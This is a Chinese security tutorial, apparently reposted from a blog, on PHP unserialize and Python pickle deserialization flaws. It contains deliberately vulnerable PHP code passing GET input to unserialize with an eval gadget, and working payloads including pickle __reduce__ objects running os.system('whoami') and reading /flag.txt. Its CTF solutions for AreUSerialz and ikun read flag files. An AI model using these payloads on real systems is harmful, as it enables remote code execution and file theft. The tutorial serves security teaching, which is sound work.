php和python反序列化漏洞分析
2020-05-22 10:25:02 Author: xz.aliyun.com(查看原文) 阅读量:479 收藏

之前一直有接触挺多反序列化的漏洞,但是自己一直没有很细心地学习这方面的东西,所以现在花时间分析一下phppython中的反序列化漏洞,其大体都是差不多的,部分代码来源互联网,有错误烦请各位师傅指正。

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

简单来说序列化就是把一个对象的数据和数据类型转成格式化字符串的过程,反序列化则是将这些格式化字符串转为对象形式的过程。因此面向对象的编程都会有概率可能存在反序列化漏洞。

0x01 PHP

魔术方法

在审计php反序列化漏洞的时候需要着重注意几个典型的魔术方法:

函数 简介
__sleep serialize()函数在执行时会检查是否存在一个__sleep魔术方法,如果存在,则先被调用
__wakeup unserialize()函数执行时会检查是否存在一个__wakeup 方法,如果存在,则先被调用
__construct 构造函数会在每次创建新对象时先调用
__destruct 析构函数是php5新添加的内容,析构函数会在到对象的所有引用都被删除或者当对象被显式销毁时执行
__toString 当对象被当做字符串的时候会自动调用该函数
<?php
class Student{
    public $name = 'zjun';
    public $age = '19';

    public function PrintVar(){
        echo 'name '.$this -> name . ', age ' . $this -> age . '<br>';
    }
    public function __construct(){
        echo "__construct<br>";
    }
    public function __destory(){
        echo "__destory<br>";
    }
    public function __toString(){
        return "__toString";
    }
    public function __sleep(){
        echo "__sleep<br>";
        return array('name', 'age');
    }
    public function __wakeup(){
        echo "__wakeup<br>";
    }
}

$obj = new Student();
$obj -> age = 18;
$obj -> name = 'reder';
$obj -> PrintVar();
echo $obj;
$s_serialize = serialize($obj);
echo $s_serialize.'<br>';
$unseri = unserialize($s_serialize);
$unseri -> PrintVar();
?>

输出结果:

__construct
name reder, age 18
__toString__sleep
O:7:"Student":2:{s:4:"name";s:5:"reder";s:3:"age";i:18;}
__wakeup
name reder, age 18

在进行构造反序列化payload时,可跟进以上几个比较典型的魔术变量进行深入挖掘。

一个例子

php中,序列化和反序列化一般用做应用缓存,比如session缓存,cookie等,或者是格式化数据存储,例如jsonxml等。

一个很简单的序列化代码,如下:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

一个Student类,其中有一个name属性和一个GetName方法,然后实例化了Student类的对象,输出调用GetName这个类方法,然后serialize()函数把对象转成字符串,也就是序列化,再输出序列化后的内容

输出结果:

zjun
O:7:"Student":1:{s:4:"name";s:4:"zjun";}

序列化的数据详解:

Oobject表示对象,:后边的内容为这个对象的属性,7表示对象名称的长度,Student就是对象名,1表示对象有一个成员变量,就是{}里面的东西,s表示这个成员变量是一个str字符串,他的长度为4,后面跟着成员变量名,以及这个成员变量的数据类型,长度,内容。

这里代码只有一个public属性,如果有protected或者private属性,在序列化的数据中也都会体现出来

<?php
    class Student{
        public $name = 'zjun';
        protected $age = '19';
        private $weight = '53';

        function GetName(){
            return 'zjun';
        }
    }
    $s = new Student();
    echo $s->GetName().'<br>';
    $s_serialize = serialize($s);
    echo $s_serialize;

输出:

zjun
O:7:"Student":3:{s:4:"name";s:4:"zjun";s:6:"*age";s:2:"19";s:15:"Studentweight";s:2:"53";}

可见public类型直接是变量名,protected类型有*号,但是其长度为6,是因为\x00+*+\x00+变量名。同理private类型会带上对象名,其长度是15\x00+类名+\x00+变量名

以上的这个过程就称为php序列化,再看看反序列化:

<?php
    class Student{
        public $name = 'zjun';

        function GetName(){
            return 'zjun';
        }
    }

    $Student = 'O:7:"Student":1:{s:4:"name";s:4:"zjun";}';
    $s_unserialize = unserialize($Student);
    print_r($s_unserialize);
?>

unserialize()函数就是用来反序列化的函数,输出:

Student Object ( [name] => zjun )

一个Student对象,其中name成员变量等于zjun,这就是反序列化,将格式化字符串转化为对象。

在这个过程中本来是挺正常的,在一些特殊情景下却能造成如rce等漏洞,如

<?php
class Student{
    var $a;
    function __construct() {
        echo '__construct';
    }
    function __destruct() {
        $this->a->action();
        echo 'one';
    }
}

class one {
    var $b;
    function action() {
        eval($this->b);
    }
}
$c = new Student();
unserialize($_GET['a']);
?>

代码有一个构造函数__construct输出__construct,在new这个对象时自动调用,一个析构函数__destruct将当我们传入的a再传进one对象中执行,构造代码:

<?php
class Student {
    var $a;
    function __construct() {
        $this->a = new one();
    }
}
class one {
    var $b = "phpinfo();";
}
echo serialize(new Student());
?>

输出:

O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:10:"phpinfo();";}}

成功触发。

实例:网鼎杯 2020 青龙组 AreUSerialz

<?php
include("flag.php");
highlight_file(__FILE__);

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }
}

这里需要读flag.php文件,在process()函数中,当op=2时,read()中的file_get_contents就会执行,is_valid()会判断传入的字符串是否为可打印字符,而原来的类修饰均为protected,在序列化时会生成不可见的\x00,但php7+对类的属性类型不敏感,可直接把属性修饰为public,成功绕过is_valid()

构造

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content;
}

$a = new FileHandler();
echo serialize($a)."\n";

传入

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

0x02 PYTHON

python中序列化一般有两种方式:pickle模块和json模块,前者是python特有的格式,后者是json通用的格式。

以下均显示为python2版本序列化输出结果,python3pickle.dumps结果与python2不一样。

pickle

import pickle

dict = {"name": 'zjun', "age": 19}
a = pickle.dumps(dict)
print(a, type(a))
b = pickle.loads(a)
print(b, type(b))

输出:

("(dp0\nS'age'\np1\nI19\nsS'name'\np2\nS'zjun'\np3\ns.", <type 'str'>)
({'age': 19, 'name': 'zjun'}, <type 'dict'>)

json

import json
dict = {"name": 'zjun', "age": 19}
a = json.dumps(dict, indent=4)
print(a, type(a))
b = json.loads(a)
print(b, type(b))

其中indent=4起到一个数据格式化输出的效果,当数据多了就显得更为直观,输出:

{
    "name": "zjun",
    "age": 19
} <class 'str'>
{'name': 'zjun', 'age': 19} <class 'dict'>

再看看一个pickle模块导致的安全问题

import pickle
import os

class obj(object):
    def __reduce__(self):
        a = 'whoami'
        return (os.system, (a, ))

r = pickle.dumps(obj())
print(r)
pickle.loads(r)

通过构造__reduce__可达到命令执行的目的,详见:Python魔法方法指南

先输出obj对象的序列化结果,再将其反序列化,输出

cposix
system
p0
(S'whoami'
p1
tp2
Rp3
.
zjun

成功执行了whoami命令。

实例:CISCN2019 华北赛区 Day1 Web2 ikun

CISCN2019 华北赛区 Day1 Web2 ikun,前面的细节讲得很清楚了,这里接着看反序列化的考点。

19行处直接接收becomeurl解码与其反序列化的内容,存在反序列化漏洞,构造payload读取flag.txt文件:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

将生成的payload传给become即可。

再推荐一下大佬的python反序列化漏洞挖掘


文章来源: http://xz.aliyun.com/t/7751
如有侵权请联系:admin#unsafe.sh